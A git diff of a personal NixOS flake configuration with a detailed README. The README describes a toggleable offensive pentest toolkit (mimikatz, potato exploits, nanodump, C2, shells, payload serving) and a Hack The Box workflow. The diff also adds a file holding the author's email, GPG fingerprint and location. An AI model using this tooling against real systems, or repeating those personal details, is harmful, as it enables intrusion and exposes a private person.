diff --git a/modules/hosts/generic/home.nix b/modules/hosts/generic/home.nix
@@ -0,0 +1,61 @@
+# modules/hosts/generic/home.nix — the home for the generic host: the shared,
+# self-contained home modules and nothing personal.
+#
+# The author's home (modules/home/default.nix) reads its zsh config, fonts and
+# cursor from a private dotfiles checkout and its keys from sops. None of that
+# exists on your machine, so this one turns on home-manager's own zsh instead
+# and uses a font from nixpkgs.
+{ self, ... }:
+{
+ flake.homeModules.generic =
+ { user, lib, ... }:
+ {
+ imports = with self.homeModules; [
+ terminal # kitty, Rosé Pine, ctrl+a tmux-style keys
+ neovim # nvf: Neovim with a small Nix-built plugin set
+ prompt # starship + fastfetch, Rosé Pine
+ htb-shell # $TARGET in the prompt
+ cheats # pentest-cheat, nix-cheat, niri-cheat
+ yazi # file manager with previews
+ ];
+
+ home = {
+ username = user;
+ homeDirectory = "/home/${user}";
+ stateVersion = "26.05";
+ };
+ programs.home-manager.enable = true;
+ xdg.enable = true;
+
+ # zsh from home-manager, since there is no dotfiles ZDOTDIR here.
+ programs.zsh = {
+ enable = true;
+ autosuggestion.enable = true;
+ syntaxHighlighting.enable = true;
+ history = {
+ size = 50000;
+ ignoreDups = true;
+ share = true;
+ };
+ };
+ programs.starship.enableZshIntegration = lib.mkForce true;
+ programs.fzf = {
+ enable = true;
+ enableZshIntegration = true;
+ };
+ programs.zoxide = {
+ enable = true;
+ enableZshIntegration = true;
+ };
+
+ # terminal.nix names DMMono Nerd Font, which ships in the author's
+ # dotfiles rather than nixpkgs. JetBrains Mono Nerd Font is installed by
+ # the generic host (fonts.packages) and has real bold/italic faces.
+ programs.kitty.font.name = lib.mkForce "JetBrainsMono Nerd Font";
+ programs.kitty.settings = {
+ bold_font = lib.mkForce "auto";
+ italic_font = lib.mkForce "auto";
+ bold_italic_font = lib.mkForce "auto";
+ };
+ };
+}
diff --git a/modules/hosts/laptop/README.md b/modules/hosts/laptop/README.md
@@ -0,0 +1,382 @@
+# The author's laptop — NixDaemon's reference machine
+
+This is the manual for `modules/hosts/laptop/` (`nixosConfigurations.nixos`):
+one specific PCSpecialist Valeon II 17 with its fan fix, NVIDIA setup, private
+dotfiles checkout and sops secrets. **It will not build for anyone else** — it
+decrypts secrets with the author's age key and links a private dotfiles repo.
+To install NixDaemon on your own machine, use the generic host instead:
+[docs/install.md](../../../docs/install.md).
+
+Personal values (name, email, GPG key, location) are in one file,
+[`_identity.nix`](./_identity.nix). `$VAULT` below is the author's notes vault.
+
+One flake, one machine: the TongFang GM7RGxM (Ryzen 9 6900HX, Radeon 680M,
+RTX 3070 Ti, 2560×1440@240). Everything the machine is comes from here:
+the kernel modules that keep the dead GPU fan from throttling the CPU, the
+NVIDIA setup for Hyprland, the greeter, the compositor's Lua config and
+keybinds, Caelestia as bar/launcher/lock, kitty with tmux-style keys, zsh
+through the dotfiles checkout, the general tools, and the secrets. Built from
+the vault's `04Tools/NixDaemon-Migration/` material on 2026-10-07.
+
+The companion repo is `daemon-sec-dotfiles` (private, same account):
+home-manager links every dotfile from its checkout (`~/git/daemon-sec-dotfiles`)
+into `$HOME`, so editing the checkout edits the live config.
+
+## Structure
+
+```text
+NixDaemon/
+├── flake.nix inputs: nixpkgs (unstable), flake-parts, import-tree, wrapper-modules, home-manager,
+│ hyprland, caelestia-shell, caelestia-cli, llm-agents, sops-nix, nvf
+│ outputs = flake-parts.lib.mkFlake { inherit inputs; } (import-tree ./modules)
+├── .sops.yaml, secrets/ sops-nix: the age recipient and the encrypted secrets file
+├── scripts/wrap.sh turns a plain module file into a flake-parts module (how the tree below was made)
+└── modules/ every *.nix here is a flake-parts module; paths containing /_ are skipped
+ ├── parts.nix systems; the home-manager and wrapper-modules flake modules
+ ├── hosts/laptop/ the machine — flake.nixosModules.laptop-* and the nixosConfiguration
+ │ ├── default.nix flake.nixosConfigurations.nixos = nixosSystem { modules = [ self.nixosModules.laptop ]; }
+ │ ├── configuration.nix self.nixosModules.laptop: imports every module below by name; daemon.desktop.* switches;
+ │ │ boot, users (zsh login shell), greetd/tuigreet, audio, fonts, portals, nix-ld, LocalSend port
+ │ ├── hardware.nix laptop-hardware (nixos-generate-config output, unchanged)
+ │ ├── fan-throttle-guard.nix laptop-fan-throttle-guard: vault gpu-fan-fix/, unchanged; fanfix + stability_guard.py beside it
+ │ ├── fan-extras.nix laptop-fan-extras: the performance power profile
+ │ ├── uniwill-laptop.nix laptop-uniwill: the `uniwill` hwmon the guard reads (uniwill-laptop/_package.nix, sources)
+ │ ├── nvidia.nix laptop-nvidia: open kernel module, panel on the dGPU, colon-free DRM names for Hyprland
+ │ ├── ssd.nix laptop-ssd: Samsung 980 crypttab + /mnt/ssd
+ │ ├── nix-settings.nix laptop-nix-settings: flakes, hyprland.cachix.org, nh + weekly clean, nvd, nom
+ │ ├── toolbox.nix laptop-toolbox: envfs, ~/.local/bin first on PATH, padx udev rule
+ │ ├── sops.nix laptop-sops: secrets/secrets.yaml → /run/secrets
+ │ ├── fan-cli.nix laptop-fan-cli: fan-ec, passwordless sudo for wheel
+ │ └── fan-reference/ the Arch-era captures and their README
+ ├── features/ shared NixOS features, by name
+ │ ├── workstation.nix workstation: Claude Code, Claude desktop, Obsidian, gh, glab
+ │ ├── home-manager.nix home-manager: HM as a NixOS module, users.daemonsec = self.homeModules.daemonsec
+ │ └── desktop/
+ │ ├── options.nix desktop-options: daemon.desktop.hyprland.enable / daemon.desktop.niri.enable (both default true)
+ │ ├── hyprland.nix desktop-hyprland: programs.hyprland (uwsm), the GTK portal — gated
+ │ ├── niri.nix packages.niri (wrapper-modules: config.kdl from Nix, binds, Rosé Pine) + desktop-niri — gated
+ │ └── noctalia.nix packages.noctalia (wrapper-modules: settings.json from Nix, Rosé Pine "Rosepine" scheme)
+ │ └── pentest/ the offensive toolkit — one NixOS module per category, all toggleable
+ │ ├── default.nix nixosModules.pentest: imports every category below by name
+ │ ├── options.nix daemon.pentest.enable + the options no category owns
+ │ ├── _sets.nix mkCategory: one package list -> gated module + devShell + smoke check
+ │ ├── _aliases.nix suffix-free script aliases, collision-guarded (impacket's net/split/ping)
+ │ ├── _impacket.nix impacket + its aliases, shared by python.nix and ad.nix
+ │ ├── _overlay.nix the nixpkgs fixes the toolkit needs (python 3.12 anyio), each dated
+ │ ├── _pkgs/ pinned downloads: default.nix (SharpCollection, PEASS, mimikatz, scripts) + assets.nix (the release table: potatoes, nanodump, SharpHound CE, kerbrute, static nmap/socat…)
+ │ ├── nixpkgs.nix one package set for the system and for the flake's own checks
+ │ ├── core.nix recon.nix ad.nix web.nix pivot.nix crack.nix shells.nix
+ │ ├── wordlists.nix python.nix bloodhound.nix gui.nix payloads.nix paths.nix
+ │ ├── dfir.nix reversing.nix cloud.nix mobile.nix (off by default)
+ │ ├── wireless.nix radio.nix hardware.nix (off; needs hardware)
+ │ ├── c2.nix database.nix osint.nix social.nix (off by default)
+ │ ├── vpn.nix htbvpn: the HTB tunnel as a systemd template unit
+ │ ├── time.nix htb-time: conflict-aware clock skew for Kerberos
+ │ ├── htb.nix htbtarget / htbtime: the box you are on, shared across terminals
+ │ ├── boxes.nix htbbox: per-box tree + box.json + writeup.md (_htbbox.py)
+ │ ├── paths.nix ~/pentesting + the $privesc/$potatoes/$ligolo… vars + htbpaths
+ │ ├── casts.nix htbcast: asciinema recordings as raw write-up material
+ │ ├── devshells.nix nix develop #pentest, and the all-category collision check
+ │ └── update.nix pentest-update: move the _pkgs pins forward, deliberately
+ └── home/ flake.homeModules.* — the user's home
+ ├── default.nix homeModules.daemonsec: imports every module below by name
+ ├── hyprland.nix Lua config wiring, helper scripts, polkit, cliphist — only with daemon.desktop.hyprland
+ ├── caelestia.nix programs.caelestia: shell.json, the CLI with both Rosé Pine schemes — same gate
+ ├── terminal.nix kitty: DMMono Nerd Font, Rosé Pine dark, tmux-style ctrl+a keys, Neovim copy mode
+ ├── shell.nix zsh wiring (ZDOTDIR → dotfiles, fzf bindings, completions), tmux plugins, secretspec
+ ├── dotfiles.nix every dotfile from ~/git/daemon-sec-dotfiles as an out-of-store symlink
+ ├── tools.nix toolbox runtime closure, python env, the general CLI tools, `ns` (package search)
+ ├── cheats.nix the cheat cards: `nix-cheat` and `gpg-cheat` (cheats/*.md)
+ ├── sops.nix sops-nix for the user; sops, age, ssh-to-age
+ ├── neovim.nix nvf: Neovim with a small Nix-built plugin set, Rosé Pine
+ ├── prompt.nix starship and fastfetch
+ ├── fan.nix `fan`: status and watch without root; max/auto with the clamp watchdog
+ ├── htb-shell.nix $TARGET/$BOX in every terminal (zsh precmd) and in the prompt
+ ├── ssh.nix, gpg.nix, git.nix keys from sops, ~/.ssh/config, gpg.conf, git identity and signing
+ ├── media.nix mpd, rmpc, mpv
+ ├── yazi.nix, gtk.nix yazi with previews and Rosé Pine; Yaru-purple icons, cursor, prefer-dark
+ ├── hypr/*.lua omarchy (shim) · core · looknfeel · defaults · bindings · lid · caelestia
+ ├── kitty/, caelestia/, cheats/, gpg/, rmpc/, mpv/, yazi/ the data those modules read
+```
+
+## What runs
+
+| Layer | Choice | Where |
+|---|---|---|
+| Boot, login | systemd-boot · greetd + tuigreet (remembers user and session) | modules/hosts/laptop/configuration.nix |
+| Compositor | Hyprland 0.56 under uwsm, configured in Lua; springy overshoot animations, square corners, blur | modules/home/hypr/, modules/home/hyprland.nix |
+| Shell UI | Caelestia Shell: bar, launcher, dashboard, sidebar, lock, OSD, notifications. Rosé Pine dark, framed bar, 340 px panels | modules/home/caelestia.nix, modules/home/caelestia/ |
+| Second desktop | Niri + Noctalia Shell (Rosé Pine "Rosepine"), both as wrapped packages: `nix run ~/NixDaemon#niri` / `#noctalia`. Pick the session in tuigreet; `daemon.desktop.{hyprland,niri}.enable` in configuration.nix drop one | modules/features/desktop/ |
+| Terminal | kitty, DMMono Nerd Font, Rosé Pine dark, `ctrl+a` tmux-style prefix, copy mode in Neovim | modules/home/terminal.nix |
+| Shell | zsh as login shell; config = the dotfiles' `~/.dotfiles` tree (autosuggestions, syntax highlighting, fzf-tab, zoxide, atuin). Prompt and fetch are Nix-managed | modules/home/shell.nix, prompt.nix |
+| Dotfiles | symlinked from `~/git/daemon-sec-dotfiles/home` | modules/home/dotfiles.nix |
+| Editor | Neovim via nvf: treesitter, LSP, blink completion, telescope, oil, gitsigns, which-key, Rosé Pine | modules/home/neovim.nix |
+| Tools | uv, nodejs, btop, yazi, lazygit, tmux, ripgrep/fd/fzf/bat/eza, delta, tldr, LocalSend, … | modules/home/tools.nix |
+| Secrets | sops-nix (age) for the repo; secretspec (keyring) for projects | modules/hosts/laptop/sops.nix, modules/home/sops.nix, shell.nix |
+| GPU | NVIDIA open module, panel on the RTX; Aquamarine told the GPUs by colon-free udev symlinks | modules/hosts/laptop/nvidia.nix |
+| Fan | `fan-throttle-guard`: 3.2 GHz floor, EC auto fan, `uniwill` hwmon from a 6.19 driver. `fan` command: status, watch, max/auto with a clamp watchdog | modules/hosts/laptop/fan-*.nix, uniwill-laptop/, modules/home/fan.nix |
+| Pentest | 23 toggleable categories (`daemon.pentest.<category>.enable`, every one listed in `configuration.nix`): recon, AD, web, pivoting, cracking, shells, wordlists, payloads, BloodHound, GUI on; DFIR, reversing, wireless, radio (SDR/BT/RFID), hardware (JTAG/flash/CAN), C2, database, cloud, OSINT, social, mobile off. Tools go to `environment.systemPackages`, so `sudo nmap -sS` works. Every category carries a smoke check: `nix flake check` | modules/features/pentest/ |
+| HTB workflow | `htbvpn up/down/list` (systemd template unit), `htbtarget` (shared across terminals via zsh precmd; writes `/etc/hosts` for Kerberos), `htbtime` (clock skew, restores exactly what it changed), `htbbox new <name> <ip> <os> <difficulty> [hosts]` (positional any-order, or flags, or gum prompts; scaffolds recon/enum/creds/loot/exploit/serve/casts + `box.json` + `writeup.md`; also `htbbox use/set/host/cred/flag/note/ports/json`), `htbcast` (asciinema v3 session recording → `txt` transcript for an agent, `gif` preview via agg), `payload-serve` (binds the tunnel only, refuses when the VPN is down), `pentest-cheat` | modules/features/pentest/{vpn,time,htb,boxes}.nix |
+| Arsenal | `~/pentesting/` with permanent `$privesc $potatoes $creds $ad $ligolo $fscan $nmapbin $shells …` vars and `htbpaths` to navigate. ligolo-ng/chisel/fscan/pspy cross-compiled from source for every OS/arch; mimikatz (2 builds), the full potato family, nanodump, SharpHound CE, SharpCollection, static nmap/socat, kerbrute, PEASS — pinned by hash | modules/features/pentest/{payloads,paths}.nix, _pkgs/ |
+| Nix | flakes, Hyprland cache, `nh` with weekly `clean all --keep 5 --keep-since 14d` | modules/hosts/laptop/nix-settings.nix |
+
+## Setting it up
+
+### Day to day (this machine)
+
+```sh
+nh os switch # build, nvd diff, sudo, activate; = sudo nixos-rebuild switch --flake ~/NixDaemon#nixos
+nh os boot # same, but activate on next boot (kernel / driver changes)
+nix-cheat # the full card: rebuild, remote, nh, home, search, update, rollback, clean, …
+nix-cheat nh # one section
+ns kitty # fuzzy search nixpkgs + NixOS/home-manager options, with descriptions
+pentest-cheat # the offensive toolkit card: htb, recon, ad, pivot, transfer, crack, web, dfir
+pentest-cheat ad # one section
+nix flake check # every pentest category's smoke check, plus the VM tests
+nix develop ~/NixDaemon#pentest # the whole toolkit without installing it
+```
+
+home-manager is a NixOS module here, so one rebuild does both; there is no
+separate `home-manager switch`. New files must be `git add`ed before nix sees
+them (the repo is jj, colocated with git; `nix-cheat repo`).
+
+### From the repo, without a checkout
+
+The repo is private, so the reference is the ssh form:
+
+```sh
+REPO='git+ssh://git@gitlab.com/DAEMON-404/NixDaemon.git'
+sudo nixos-rebuild switch --flake "$REPO#nixos"
+nh os switch "$REPO"
+nix flake show "$REPO"
+```
+
+### Fresh install
+
+1. Boot the NixOS live ISO, partition and mount at `/mnt`; generate
+ `hardware-configuration.nix` with `nixos-generate-config --root /mnt` and
+ compare it with `modules/hosts/laptop/hardware.nix` (UUIDs).
+2. `git clone git@gitlab.com:DAEMON-404/NixDaemon.git && cd NixDaemon`, paste
+ the generated file's body into `modules/hosts/laptop/hardware.nix` (inside
+ the `flake.nixosModules.laptop-hardware =` wrapper). Do not drop a raw
+ `hardware-configuration.nix` into `modules/`: import-tree would load it as a
+ flake-parts module and evaluation would fail.
+3. `sudo nixos-install --flake .#nixos`, reboot, log in at tuigreet, pick
+ **Hyprland (UWSM)** once.
+4. Clone the dotfiles to `~/git/daemon-sec-dotfiles` (the links in
+ `modules/home/dotfiles.nix` point there) and the toolbox to `~/.local/bin`.
+5. Restore the age key to `~/.config/sops/age/keys.txt` and copy it for the
+ system (see Secrets), then the Samsung SSD key (below).
+
+### The staged migration this repo was built for (2026-10-07, done)
+
+History, kept as a record. Stage A (`#bootstrap`, built from `nixpkgs-stable`)
+no longer exists: the dendritic rewrite of 2026-10-08 removed it, so none of
+the `#bootstrap` commands below work any more.
+
+**Stage A: fan fix now, on the GNOME install.** Small switch (fan module,
+driver, toolbox prerequisites, Hyprland cache). The new kernel modules only
+load from the booted system, hence the reboot.
+
+```sh
+sudo nixos-rebuild switch --flake ~/NixDaemon#bootstrap && sudo reboot # or: nh os switch -H bootstrap
+```
+
+First-boot check (vault README and gpu-fan-fix/README.md):
+
+```sh
+fanfix status # cap 3200 MHz · boost 1 · profile performance · fan line present
+sudo fanfix fan status # fan-abnormal=1 is expected; universal-fan-ctrl / custom-tables show the live EC path
+fanfix test 30 # all-core stress: expect 0 throttle events, peak < 75 °C
+systemctl status motherboard-stability fanfix-fan fanfix-performance-profile
+cat /run/motherboard-stability/status.json # limit_mhz 3200, thermal_stage 0, board_gpu_c and main_fan_rpm present
+```
+
+`fanfix status` will say "cap is not persisted": on NixOS the floor is the
+`systemd.tmpfiles.rules` line in the module, not `/etc/tmpfiles.d/99-cpu-freq-cap.conf`.
+Treat `fanfix install` / `uninstall` / `fan setup` as no-ops here; change
+`capKhz` in the module instead (gpu-fan-fix README). `fanfix-fan` is expected
+inactive: its manual fan mode makes the EC clamp all cores to 399 MHz under
+load; EC auto fan with the 3.2 GHz floor passed `fanfix test 30` at 61 °C.
+
+**Stage B: the desktop.**
+
+```sh
+sudo nixos-rebuild boot --flake ~/NixDaemon#nixos && sudo reboot # or: nh os boot
+```
+
+tuigreet appears on tty1; pick `Hyprland (UWSM)` once, it is remembered.
+Then the keybind diff against the vault capture:
+
+```sh
+hyprctl binds -j | python3 -I -c 'import json,sys
+M={1:"SHIFT",4:"CTRL",8:"ALT",64:"SUPER"}
+for x in json.load(sys.stdin):
+ print(x.get("submap",""),"|","+".join(n for v,n in sorted(M.items()) if x["modmask"]&v),"|",x["key"],"|",x.get("description",""))' | sort > /tmp/binds.new
+cut -d'|' -f1-4 $VAULT/04Tools/NixDaemon-Migration/shortcuts/keybinds.txt | sort | diff - /tmp/binds.new
+```
+
+Expected differences: the keycode binds (workspaces, resize, bar panels,
+group windows) show `code:0` in the capture and an empty key here; the keys
+caelestia.lua takes over carry their Caelestia descriptions; the stock
+Obsidian and YouTube lines are gone because vault-open and bakx own those
+keys; the two webcam-overlay binds were not carried (keycodes unknown).
+
+`hosts/bootstrap/` and the `nixpkgs-stable` input were deleted on 2026-10-08.
+
+**Samsung SSD key** (vault samsung-ssd.md, section 2; needs the gpg passphrase):
+
+```sh
+cd $VAULT/04Tools/NixDaemon-Migration
+sudo mkdir -p -m 700 /etc/secrets
+gpg -d --pinentry-mode loopback ssd.key.gpg | sudo tee /etc/secrets/ssd.key >/dev/null
+sudo chmod 400 /etc/secrets/ssd.key
+sudo systemctl restart systemd-cryptsetup@ssd.service mnt-ssd.mount # or just reboot
+```
+
+Until then the drive stays locked; both units are `nofail`, so boot is
+unaffected. The sops way: `sops set secrets/secrets.yaml '["ssd.key"]' "\"$(gpg -d ssd.key.gpg)\""`,
+then `sops.secrets."ssd.key".path = "/etc/secrets/ssd.key";` in modules/hosts/laptop/sops.nix.
+
+## The shell
+
+zsh is the login shell (modules/hosts/laptop/configuration.nix) and its configuration is
+the dotfiles checkout's `home/.dotfiles` tree, reached through a Nix-managed
+`~/.zshenv` that sets `ZDOTDIR=~/.dotfiles` (modules/home/shell.nix). The
+plugins (autosuggestions, syntax highlighting, zsh-completions, fzf-tab,
+history-substring-search, you-should-use) are the copies vendored in that
+tree; starship, zoxide, atuin and fzf come from nixpkgs. Edit
+`~/git/daemon-sec-dotfiles/home/.dotfiles/config/*.zsh` and open a new shell.
+
+Things the shell modules want that this build provides: `~/.fzf.zsh` (fzf's
+key bindings from the store, core.zsh only knows the Arch paths), the tool
+configs linked into `~/.config` by dotfiles.nix (bat theme, atuin, crossfetch
+for the splash animation, cheats, eza, btop, yazi, lazygit, carapace, and the
+rest of the checkout's .config; the starship prompt and the fastfetch card are
+Nix-managed in modules/home/prompt.nix), `~/.tmux.conf` with
+its plugins from nixpkgs behind a TPM stand-in, and the binaries modern.zsh
+aliases (btop, dust, duf, procs, delta, tldr, hyperfine, glow, onefetch,
+lazygit, yazi, neovim). Not carried: `mise` (its downloaded runtimes
+duplicate nixpkgs; `nix-ld` is on so `uv`'s managed Pythons work), and the
+repo's git config (it turns on commit signing with a key that is not on this
+machine; `~/.gitconfig` stays).
+
+## The dotfiles
+
+`modules/home/dotfiles.nix` mirrors `~/git/daemon-sec-dotfiles/home/` into
+`$HOME` with out-of-store symlinks: editing the checkout edits the live
+config, and a rebuild is only needed to add or remove a path in the list.
+The header of that file names what is deliberately not linked (hypr and
+kitty are Nix-managed, the omarchy trees, the systemd units, mimeapps,
+git's signing config, the bash rc files, `.claude`/`.codex`, the toolbox
+`bin` directories) and why.
+
+## The toolbox
+
+`~/.local/bin` is the vault's `bin/` copied flat and `git init`ed (remote
+`gitlab` → `DAEMON-404/daemon-bin`, not pushed). NixOS puts it first on PATH
+and envfs resolves the `#!/bin/bash` and `#!/usr/bin/python3` shebangs.
+`install.sh` there reports the environment. Notes:
+
+- `dropterm`, `winsnap`, `vault-open`, `lid-control` call
+ `hyprctl dispatch 'hl.dsp…'`: that is Hyprland 0.56's Lua dispatch syntax,
+ so they work unchanged.
+- `winsnap` looks for an `omarchy-bar` layer to avoid the bar; Caelestia's
+ layers are `caelestia-*`, so snaps ignore the bar's reserved edge for now.
+- `lid-control` still calls a few `omarchy-*` helpers (tolerated: they fail
+ quietly); `clipboard-backup` and `omarchy-menu-tmux-keybindings` are bound
+ but not in the carried `bin/`.
+- The cheat popups (`omarchy-menu-kitty`, …) pipe into `omarchy-menu-select`,
+ provided here as a fuzzel wrapper (modules/home/hyprland.nix). `nix-cheat`
+ and `gpg-cheat` are this repo's own cards, in the same style.
+
+## Secrets
+
+Two tools. **sops-nix** keeps secrets *in this repo*, encrypted with age
+(`.sops.yaml` names the recipient, `secrets/secrets.yaml` holds the values)
+and decrypts them at activation: `/run/secrets/NAME` for the system
+(modules/hosts/laptop/sops.nix), `~/.config/sops-nix/secrets/NAME` for the user
+(modules/home/sops.nix). The age key is `~/.config/sops/age/keys.txt`,
+created on 2026-10-08 and **not in the repo**; back it up (vault) and give
+the system its copy once:
+
+```sh
+sudo install -D -m 600 -o root -g root ~/.config/sops/age/keys.txt /var/lib/sops-nix/key.txt
+```
+
+Edit with `sops secrets/secrets.yaml`, declare with `sops.secrets.NAME = { };`,
+rebuild. `nix-cheat secrets` has the commands.
+
+What the file holds today: `ssh_id_ed25519` (the SSH private key, used by
+modules/home/ssh.nix), `gpg_main_secret` (the armored GPG secret key, still
+under its own passphrase, imported by modules/home/gpg.nix on first
+activation), and `example`. So a fresh install needs exactly one secret
+restored by hand, the age key; ssh, gpg and git then come up from the flake.
+
+**secretspec** is for a project's runtime secrets: declared next to the
+project in `secretspec.toml`, values in the system keyring
+(`~/.config/secretspec/config.toml`: provider `keyring`, profile `default`;
+gnome-keyring is unlocked at login by PAM). `secretspec init`, `secretspec
+add NAME`, `secretspec check`, `secretspec run -- cmd`.
+
+## Look and keys
+
+- **Caelestia in Rosé Pine dark** (main), translucent over blur, with its
+ framed bar: a 10 px border with 25 px rounded inner corners, clock and
+ tray in pills, filled occupied workspaces, the Nix snowflake as the logo.
+ Sidebar, utilities and notification panels are narrower than stock
+ (`modules/home/caelestia/shell-tokens.json`). A Dawn mapping is registered too:
+ `caelestia scheme set -n rose-pine -f rose-pine-dawn`.
+- **Bar shows the program**, not the window title: a small patch to the
+ shell's ActiveWindow component (`modules/home/caelestia/active-window-program-name.patch`,
+ applied in caelestia.nix) makes compact mode use the desktop entry's name
+ for the window class. The shell compiles locally because of it.
+- **More shell**: desktop clock on the wallpaper (bottom right), audio
+ visualiser along the bottom while something plays, weather on the
+ dashboard (location in `_identity.nix`), audio and microphone status icons, lock screen over
+ the wallpaper, a toast on track change, vim keys in the launcher, and
+ idle: lock after 15 min, screen off after 20 (audio or an inhibitor holds
+ both off).
+- **Springy windows**: `modules/home/hypr/looknfeel.lua` carries the dotfiles'
+ animation rice (overshoot curves on move/resize/open, shadows, blur
+ tuning, drag snapping, swallow, 3-finger workspace swipe, 4-finger-up
+ fullscreen). Loaded after core.lua.
+- **kitty, tmux-style** (`ctrl+a` prefix; table in modules/home/terminal.nix):
+ `c` tab, `-`/`|` splits, `hjkl` panes, `z` zoom, `[` copy mode in Neovim
+ (`v` select, `y` copy, Enter copy and leave, `q`), `]` paste, `1..9` tabs,
+ `ctrl+a ctrl+a` sends a real ctrl+a to the shell.
+- `CTRL+SUPER+SPACE` opens the Caelestia launcher in its wallpaper grid
+ (helper `wallpaper-picker`); `>wallpaper name` filters. The directory is
+ `paths.wallpaperDir` in modules/home/caelestia.nix.
+- Keys to try first: SUPER+RETURN terminal, SUPER+SPACE launcher,
+ SUPER+ESCAPE session menu, SUPER+K keybindings list, SUPER+M window mode,
+ SUPER+` dropdown terminal, PRINT screenshot.
+
+## Why `uniwill-laptop` is built here
+
+`stability_guard.py` reads the `uniwill` hwmon (board GPU temperature, main
+fan rpm) and falls back to a permanent 1.8 GHz ceiling without it. The driver
+was merged upstream in Linux 6.19; nixpkgs' 6.18 kernel predates it and the
+7.2 kernel config leaves its Kconfig submenu off. `modules/hosts/laptop/uniwill-laptop/`
+holds the v6.19 sources and builds them as an out-of-tree module against
+whatever kernel is selected (verified on 6.18.55). Revisit when the default
+NixOS kernel ships it.
+
+## Parked for the owner
+
+- **ANSI green**: Rosé Pine puts pine (#31748f) in the green slot; the rule
+ says pine is never ink. kitty uses foam (#9ccfd8) for color2/color10
+ meanwhile; one variable in modules/home/terminal.nix.
+- **Display manager**: greetd + tuigreet chosen (text greeter, remembers
+ user and session). sddm would be a one-file swap.
+- **GPU / MUX**: configured for what the firmware presents, the panel on the
+ RTX 3070 Ti (discrete). The hybrid alternative is a commented block in
+ nvidia.nix; it only applies after changing the MUX in the BIOS.
+- **Hostname** stays `nixos` (the installer's). The flake output is also `nixos`.
+- Stock Omarchy keys whose program is still not installed (spotify,
+ 1password, signal) show a notification saying so. Add packages to
+ modules/home/tools.nix when wanted.
+
+---
+
+<p align="center">☧ · <a href="https://rosepinetheme.com/">Rosé Pine</a> all the way down · built with Claude Code</p>
diff --git a/modules/hosts/laptop/_identity.nix b/modules/hosts/laptop/_identity.nix
@@ -0,0 +1,20 @@
+# modules/hosts/laptop/_identity.nix — who the author is, in one place.
+#
+# The only file in the repo that names the author's email, GPG key and
+# location. The laptop passes it to the modules that need it (specialArgs
+# `identity` in default.nix, and on to home-manager in
+# modules/features/home-manager.nix): git.nix, gpg.nix, caelestia.nix, the
+# laptop's time zone. The -daemon desktop packages (noctalia.nix, niri.nix)
+# import it directly, since perSystem packages have no specialArgs. The generic host (modules/hosts/generic) never reads
+# it, so someone installing NixDaemon does not get, or need, any of this.
+{
+ name = "DAEMON-404";
+ email = "zer0sec.xp@icloud.com";
+ description = "daemon-sec"; # the account's full-name field
+ gpgFingerprint = "3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4";
+ timeZone = "Europe/Isle_of_Man";
+ weather = {
+ name = "Douglas, Isle of Man"; # Noctalia's dashboard
+ coords = "54.15,-4.48"; # Caelestia's dashboard
+ };
+}
diff --git a/modules/hosts/laptop/configuration.nix b/modules/hosts/laptop/configuration.nix
@@ -8,7 +8,7 @@
{ self, ... }:
{
flake.nixosModules.laptop =
- { config, pkgs, lib, user, ... }:
+ { config, pkgs, lib, user, identity, ... }:
{
imports = with self.nixosModules; [
laptop-hardware
@@ -79,7 +79,7 @@
networking.firewall.allowedTCPPorts = [ 53317 ];
networking.firewall.allowedUDPPorts = [ 53317 ];
- time.timeZone = "Europe/Isle_of_Man";
+ time.timeZone = identity.timeZone;
i18n.defaultLocale = "en_US.UTF-8";
services.xserver.xkb = {
layout = "us";
@@ -90,7 +90,7 @@
users.users.${user} = {
isNormalUser = true;
- description = "daemon-sec";
+ description = identity.description;
extraGroups = [ "networkmanager" "wheel" ];
shell = pkgs.zsh;
};
diff --git a/modules/hosts/laptop/default.nix b/modules/hosts/laptop/default.nix
@@ -11,6 +11,7 @@
specialArgs = {
inherit inputs;
user = "daemonsec";
+ identity = import ./_identity.nix; # name, email, GPG key (git.nix, gpg.nix)
};
modules = [ self.nixosModules.laptop ];
};
diff --git a/modules/parts.nix b/modules/parts.nix
@@ -1,7 +1,9 @@
# modules/parts.nix — flake-parts wiring shared by every module under modules/.
{ inputs, ... }:
{
- systems = [ "x86_64-linux" ];
+ # aarch64-linux is here for the generic host (modules/hosts/generic) on ARM:
+ # it needs the wrapped niri/noctalia packages built for that system.
+ systems = [ "x86_64-linux" "aarch64-linux" ];
imports = [
inputs.home-manager.flakeModules.home-manager # flake.homeModules / flake.homeConfigurations
inputs.wrapper-modules.flakeModules.default # flake.wrappers, perSystem.wrappers